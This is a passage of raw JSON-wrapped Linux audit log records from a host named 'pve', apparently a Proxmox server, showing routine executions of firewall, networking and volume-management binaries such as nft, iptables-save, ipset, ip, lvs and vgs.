type=PATH msg=audit(1781965385.937:65374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385937,"@rawstring":"node=pve type=PATH msg=audit(1781965385.937:65374): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385929,"@rawstring":"node=pve type=PATH msg=audit(1781965385.929:65373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385929,"@rawstring":"node=pve type=PATH msg=audit(1781965385.929:65373): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385920,"@rawstring":"node=pve type=PATH msg=audit(1781965385.920:65372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965385920,"@rawstring":"node=pve type=PATH msg=audit(1781965385.920:65372): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965384782,"@rawstring":"node=pve type=PATH msg=audit(1781965384.782:65371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965384782,"@rawstring":"node=pve type=PATH msg=audit(1781965384.782:65371): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965384754,"@rawstring":"node=pve type=PATH msg=audit(1781965384.754:65370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965384754,"@rawstring":"node=pve type=PATH msg=audit(1781965384.754:65370): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=PATH msg=audit(1781965382.821:65369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=PATH msg=audit(1781965382.821:65369): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=PATH msg=audit(1781965382.821:65368): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382821,"@rawstring":"node=pve type=PATH msg=audit(1781965382.821:65367): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382811,"@rawstring":"node=pve type=PATH msg=audit(1781965382.811:65366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382811,"@rawstring":"node=pve type=PATH msg=audit(1781965382.811:65366): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382811,"@rawstring":"node=pve type=PATH msg=audit(1781965382.811:65365): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965382811,"@rawstring":"node=pve type=PATH msg=audit(1781965382.811:65364): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965380237,"@rawstring":"node=pve type=PATH msg=audit(1781965380.237:65363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965380237,"@rawstring":"node=pve type=PATH msg=audit(1781965380.237:65363): item=0 name=\"/usr/bin/clear\" inode=260666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377803,"@rawstring":"node=pve type=PATH msg=audit(1781965377.803:65362): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377803,"@rawstring":"node=pve type=PATH msg=audit(1781965377.803:65362): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377803,"@rawstring":"node=pve type=PATH msg=audit(1781965377.803:65361): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377803,"@rawstring":"node=pve type=PATH msg=audit(1781965377.803:65360): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377793,"@rawstring":"node=pve type=PATH msg=audit(1781965377.793:65359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377793,"@rawstring":"node=pve type=PATH msg=audit(1781965377.793:65359): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377793,"@rawstring":"node=pve type=PATH msg=audit(1781965377.793:65358): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965377793,"@rawstring":"node=pve type=PATH msg=audit(1781965377.793:65357): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375909,"@rawstring":"node=pve type=PATH msg=audit(1781965375.909:65356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375909,"@rawstring":"node=pve type=PATH msg=audit(1781965375.909:65356): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PATH msg=audit(1781965375.903:65355): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PATH msg=audit(1781965375.903:65355): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PATH msg=audit(1781965375.903:65354): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PATH msg=audit(1781965375.903:65354): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375903,"@rawstring":"node=pve type=PATH msg=audit(1781965375.903:65353): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375897,"@rawstring":"node=pve type=PATH msg=audit(1781965375.897:65352): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375897,"@rawstring":"node=pve type=PATH msg=audit(1781965375.897:65352): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375897,"@rawstring":"node=pve type=PATH msg=audit(1781965375.897:65352): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375891,"@rawstring":"node=pve type=PATH msg=audit(1781965375.891:65351): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375891,"@rawstring":"node=pve type=PATH msg=audit(1781965375.891:65351): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375883,"@rawstring":"node=pve type=PATH msg=audit(1781965375.883:65350): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375883,"@rawstring":"node=pve type=PATH msg=audit(1781965375.883:65350): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375873,"@rawstring":"node=pve type=PATH msg=audit(1781965375.873:65349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375873,"@rawstring":"node=pve type=PATH msg=audit(1781965375.873:65349): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375863,"@rawstring":"node=pve type=PATH msg=audit(1781965375.863:65348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375863,"@rawstring":"node=pve type=PATH msg=audit(1781965375.863:65348): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375859,"@rawstring":"node=pve type=PATH msg=audit(1781965375.859:65346): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375859,"@rawstring":"node=pve type=PATH msg=audit(1781965375.859:65346): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375853,"@rawstring":"node=pve type=PATH msg=audit(1781965375.853:65345): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375853,"@rawstring":"node=pve type=PATH msg=audit(1781965375.853:65345): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375849,"@rawstring":"node=pve type=PATH msg=audit(1781965375.849:65344): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375849,"@rawstring":"node=pve type=PATH msg=audit(1781965375.849:65344): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375843,"@rawstring":"node=pve type=PATH msg=audit(1781965375.843:65343): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375843,"@rawstring":"node=pve type=PATH msg=audit(1781965375.843:65343): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375837,"@rawstring":"node=pve type=PATH msg=audit(1781965375.837:65342): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375837,"@rawstring":"node=pve type=PATH msg=audit(1781965375.837:65342): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375831,"@rawstring":"node=pve type=PATH msg=audit(1781965375.831:65341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375831,"@rawstring":"node=pve type=PATH msg=audit(1781965375.831:65341): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375825,"@rawstring":"node=pve type=PATH msg=audit(1781965375.825:65340): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375825,"@rawstring":"node=pve type=PATH msg=audit(1781965375.825:65340): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375815,"@rawstring":"node=pve type=PATH msg=audit(1781965375.815:65339): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375815,"@rawstring":"node=pve type=PATH msg=audit(1781965375.815:65339): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375810,"@rawstring":"node=pve type=PATH msg=audit(1781965375.810:65338): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375810,"@rawstring":"node=pve type=PATH msg=audit(1781965375.810:65338): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375808,"@rawstring":"node=pve type=PATH msg=audit(1781965375.808:65337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375808,"@rawstring":"node=pve type=PATH msg=audit(1781965375.808:65337): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375807,"@rawstring":"node=pve type=PATH msg=audit(1781965375.807:65336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375807,"@rawstring":"node=pve type=PATH msg=audit(1781965375.807:65336): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375807,"@rawstring":"node=pve type=PATH msg=audit(1781965375.807:65335): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375799,"@rawstring":"node=pve type=PATH msg=audit(1781965375.799:65334): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375799,"@rawstring":"node=pve type=PATH msg=audit(1781965375.799:65334): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375799,"@rawstring":"node=pve type=PATH msg=audit(1781965375.799:65334): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375792,"@rawstring":"node=pve type=PATH msg=audit(1781965375.792:65333): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375792,"@rawstring":"node=pve type=PATH msg=audit(1781965375.792:65333): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375785,"@rawstring":"node=pve type=PATH msg=audit(1781965375.785:65332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375785,"@rawstring":"node=pve type=PATH msg=audit(1781965375.785:65332): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375779,"@rawstring":"node=pve type=PATH msg=audit(1781965375.779:65331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375779,"@rawstring":"node=pve type=PATH msg=audit(1781965375.779:65331): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375771,"@rawstring":"node=pve type=PATH msg=audit(1781965375.771:65330): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375771,"@rawstring":"node=pve type=PATH msg=audit(1781965375.771:65330): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375761,"@rawstring":"node=pve type=PATH msg=audit(1781965375.761:65329): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965375761,"@rawstring":"node=pve type=PATH msg=audit(1781965375.761:65329): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965374667,"@rawstring":"node=pve type=PATH msg=audit(1781965374.667:65328): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965374667,"@rawstring":"node=pve type=PATH msg=audit(1781965374.667:65328): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965374635,"@rawstring":"node=pve type=PATH msg=audit(1781965374.635:65327): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965374635,"@rawstring":"node=pve type=PATH msg=audit(1781965374.635:65327): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372784,"@rawstring":"node=pve type=PATH msg=audit(1781965372.784:65326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372784,"@rawstring":"node=pve type=PATH msg=audit(1781965372.784:65326): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372784,"@rawstring":"node=pve type=PATH msg=audit(1781965372.784:65325): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372784,"@rawstring":"node=pve type=PATH msg=audit(1781965372.784:65324): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372776,"@rawstring":"node=pve type=PATH msg=audit(1781965372.776:65323): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372776,"@rawstring":"node=pve type=PATH msg=audit(1781965372.776:65323): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372776,"@rawstring":"node=pve type=PATH msg=audit(1781965372.776:65322): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965372775,"@rawstring":"node=pve type=PATH msg=audit(1781965372.775:65321): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367767,"@rawstring":"node=pve type=PATH msg=audit(1781965367.767:65320): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367767,"@rawstring":"node=pve type=PATH msg=audit(1781965367.767:65320): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 